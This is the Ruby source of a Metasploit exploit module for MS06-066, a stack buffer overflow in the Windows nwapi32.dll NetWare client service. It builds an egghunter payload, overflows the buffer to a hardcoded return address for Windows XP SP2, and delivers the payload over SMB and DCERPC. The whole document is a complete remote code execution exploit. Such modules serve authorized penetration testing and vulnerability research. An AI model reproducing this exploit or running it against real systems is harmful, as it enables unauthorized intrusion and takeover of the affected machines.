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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Egghunter
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  include Msf::Exploit::Remote::DCERPC
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  include Msf::Exploit::Remote::SMB::Client
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'MS06-066 Microsoft Services nwapi32.dll Module Exploit',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in the svchost service when the netware
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        client service is running. This specific vulnerability is in the nwapi32.dll module.
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      },
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      'Author'         => [ 'pusscat' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2006-4688'],
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          [ 'OSVDB', '30260'],
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          [ 'BID', '21023'],
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          [ 'MSB', 'MS06-066'],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Privileged'     => true,
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      'Payload'        =>
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        {
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          'Space'    => 296,
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          'BadChars' => "",
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          'Compat'   =>
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          {
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            # -ws2ord XXX?
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          },
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [
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            'Windows XP SP2',
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            {
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              'Ret'      => 0x00EBEEEC ,
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            },
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          ]
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        ],
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      'DefaultTarget' => 0,
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      'DisclosureDate' => '2006-11-14'))
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    register_options(
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      [
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        OptString.new('SMBPIPE', [ true,  "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'srvsvc']),
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      ])
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  end
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  def exploit
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    # [in] [unique] wchar *
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    # [in] wchar *
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    # [in, out] long
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    # [out] handle
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    # Generate the egghunter payload
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    hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
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    egg    = hunter[1]
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    #print_status("Today, we'll be hunting for 0x#{egg.unpack("V")[0]}")
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    # Add giant blocks of guard data before and after the egg
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    eggdata  =
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      rand_text(1024) +
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        egg +
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      rand_text(1024)
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    buflen = 295
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    ofstring	= Rex::Text.to_unicode('\\\\') + "\x90" + hunter[0] + rand_text(buflen-hunter[0].length) +
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      [ target.ret ].pack('V') + "\x00"
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    #ofstring	= Rex::Text.to_unicode('\\\\') + payload.encoded + [ target.ret ].pack('V') + "\x00\x00"
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    stubdata =
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      NDR.long(rand(0xffffffff)) +
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        NDR.UnicodeConformantVaryingString("\\\\BBBB") +
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      NDR.UnicodeConformantVaryingStringPreBuilt(ofstring) +  # HERE!
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      #NDR.UnicodeConformantVaryingString('\\\\' + "A"*1024 + "\x00") +
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      NDR.long(rand(0xffffffff)) +
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      NDR.long(rand(0xffffffff)) +
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      #NDR.long((ofstring.length * 2) + 0xC) +
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      eggdata
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    print_status("Connecting to the SMB service...")
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    connect()
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    smb_login()
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    handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
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    print_status("Binding to #{handle} ...")
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    dcerpc_bind(handle)
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    print_status("Bound to #{handle} ...")
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    print_status("Calling the vulnerable function...")
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    begin
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      dcerpc.call(0x09, stubdata)
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    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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      print_status('Server did not respond, this is expected')
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    rescue => e
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      if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
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        print_status('Server disconnected, this is expected')
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      else
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        raise e
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      end
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    else
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      print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}")
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    end
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    # Cleanup
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    handler
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    disconnect
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    if (dcerpc.last_response != nil and
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      dcerpc.last_response.stub_data != nil and
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      dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
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      return true
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    else
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      return false
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    end
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  end
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end
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